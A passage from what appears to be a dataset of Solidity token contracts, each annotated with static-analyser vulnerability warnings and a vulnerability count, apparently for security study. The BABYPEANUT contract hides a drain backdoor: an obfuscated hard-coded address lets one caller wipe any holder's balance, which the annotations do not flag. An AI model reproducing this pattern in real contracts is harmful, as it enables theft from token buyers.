activation\"\n );\n }\n\n require(amount <= _maxTxAmount, \"Exceeded max transaction limit\");\n\n require(\n !bots[from] && !bots[to],\n \"This account is on the blacklist\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"Exceeds max wallet balance\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 968e3aa\n\t\t\t\t// reentrancy-benign | ID: e4528c7\n\t\t\t\t// reentrancy-eth | ID: 3fac3a9\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 968e3aa\n\t\t\t\t\t// reentrancy-eth | ID: 3fac3a9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: e4528c7\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: e4528c7\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: e4528c7\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: e4528c7\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 968e3aa\n\t\t// reentrancy-benign | ID: e4528c7\n\t\t// reentrancy-eth | ID: 3fac3a9\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6aa793b\n\t\t// reentrancy-events | ID: 968e3aa\n\t\t// reentrancy-benign | ID: ee246dd\n\t\t// reentrancy-benign | ID: e4528c7\n\t\t// reentrancy-eth | ID: 3fac3a9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6aa793b\n\t\t// reentrancy-events | ID: 968e3aa\n\t\t// reentrancy-eth | ID: 3fac3a9\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 3fac3a9\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 3fac3a9\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 968e3aa\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 3fac3a9\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 3fac3a9\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: e4528c7\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aa00fed): BOBR.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for aa00fed: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: ec4d4ad): BOBR.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnSell >= 0 && taxFeeOnSell <= 95,Sell tax must be between 0% and 95%)\n\t// Recommendation for ec4d4ad: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 00ad09d): BOBR.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 95,Buy tax must be between 0% and 95%)\n\t// Recommendation for 00ad09d: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 93dea00): BOBR.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4,Buy rewards must be between 0% and 4%)\n\t// Recommendation for 93dea00: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: ba0a22a): BOBR.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnSell >= 0 && redisFeeOnSell <= 4,Sell rewards must be between 0% and 4%)\n\t// Recommendation for ba0a22a: Fix the incorrect comparison by changing the value type or the comparison.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// tautology | ID: 93dea00\n require(\n redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4,\n \"Buy rewards must be between 0% and 4%\"\n );\n\n\t\t// tautology | ID: 00ad09d\n require(\n taxFeeOnBuy >= 0 && taxFeeOnBuy <= 95,\n \"Buy tax must be between 0% and 95%\"\n );\n\n\t\t// tautology | ID: ba0a22a\n require(\n redisFeeOnSell >= 0 && redisFeeOnSell <= 4,\n \"Sell rewards must be between 0% and 4%\"\n );\n\n\t\t// tautology | ID: ec4d4ad\n require(\n taxFeeOnSell >= 0 && taxFeeOnSell <= 95,\n \"Sell tax must be between 0% and 95%\"\n );\n\n\t\t// events-maths | ID: aa00fed\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: aa00fed\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: aa00fed\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: aa00fed\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 96b0f01): BOBR.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 96b0f01: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 96b0f01\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: df16bc1): BOBR.setMaxTxnAmount(uint256,bool,bool) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for df16bc1: Emit an event for critical parameter changes.\n function setMaxTxnAmount(\n uint256 maxTxAmount,\n bool maxTxn,\n bool maxTxnCan\n ) public onlyOwner {\n\t\t// events-maths | ID: df16bc1\n _maxTxAmount = maxTxAmount;\n\n _maxTxn = maxTxn;\n\n _maxTxnCan = maxTxnCan;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0bf932b): BOBR.setMaxWalletSize(uint256,bool,bool) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 0bf932b: Emit an event for critical parameter changes.\n function setMaxWalletSize(\n uint256 maxWalletSize,\n bool maxWallet,\n bool maxWalletCan\n ) public onlyOwner {\n\t\t// events-maths | ID: 0bf932b\n _maxWalletSize = maxWalletSize;\n\n _maxWallet = maxWallet;\n\n _maxWalletCan = maxWalletCan;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n",
"file_name": "solidity_code_10051.sol",
"size_bytes": 25640,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"BABYPEANUT\", unicode\"BABYPEANUT\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10052.sol",
"size_bytes": 7318,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n}\n\ncontract TERESA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n string private constant _name = unicode\"Teresa Goody Guillén\";\n\n string private constant _symbol = unicode\"TERESA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e50f071): TERESA._initialBuyTax should be constant \n\t// Recommendation for e50f071: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfdce3e): TERESA._initialSellTax should be constant \n\t// Recommendation for cfdce3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: b65822d): TERESA._finalBuyTax should be constant \n\t// Recommendation for b65822d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e59b9e): TERESA._finalSellTax should be constant \n\t// Recommendation for 9e59b9e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8672bb): TERESA._reduceBuyTaxAt should be constant \n\t// Recommendation for d8672bb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3d4245): TERESA._reduceSellTaxAt should be constant \n\t// Recommendation for f3d4245: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 578923c): TERESA._preventSwapBefore should be constant \n\t// Recommendation for 578923c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 4;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25aa288): TERESA._taxSwapThreshold should be constant \n\t// Recommendation for 25aa288: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dacf52e): TERESA._maxTaxSwap should be constant \n\t// Recommendation for dacf52e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f2c3366): TERESA._taxWallet should be immutable \n\t// Recommendation for f2c3366: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d24e702): TERESA.uniswapV2Router should be immutable \n\t// Recommendation for d24e702: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21f48ae): TERESA.targetRewExcl should be constant \n\t// Recommendation for 21f48ae: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a3ef7ff): TERESA.targetRewExcl is never initialized. It is used in TERESA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for a3ef7ff: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private targetRewExcl;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct RewardTarget {\n uint256 targetRew;\n uint256 destRew;\n uint256 secondRew;\n }\n\n uint256 private targetRewAmount;\n\n mapping(address => RewardTarget) private rewardTarget;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xf400bbADCe836882e7bd57CE8eA325144ce21E33);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af412b3): TERESA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for af412b3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b3cce85): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b3cce85: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d6cc695): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d6cc695: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b3cce85\n\t\t// reentrancy-benign | ID: d6cc695\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b3cce85\n\t\t// reentrancy-benign | ID: d6cc695\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2db7f50): TERESA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2db7f50: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d6cc695\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b3cce85\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 840b7f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 840b7f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: acfdc84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for acfdc84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85145ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85145ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 840b7f3\n\t\t\t\t// reentrancy-benign | ID: acfdc84\n\t\t\t\t// reentrancy-eth | ID: 85145ad\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance 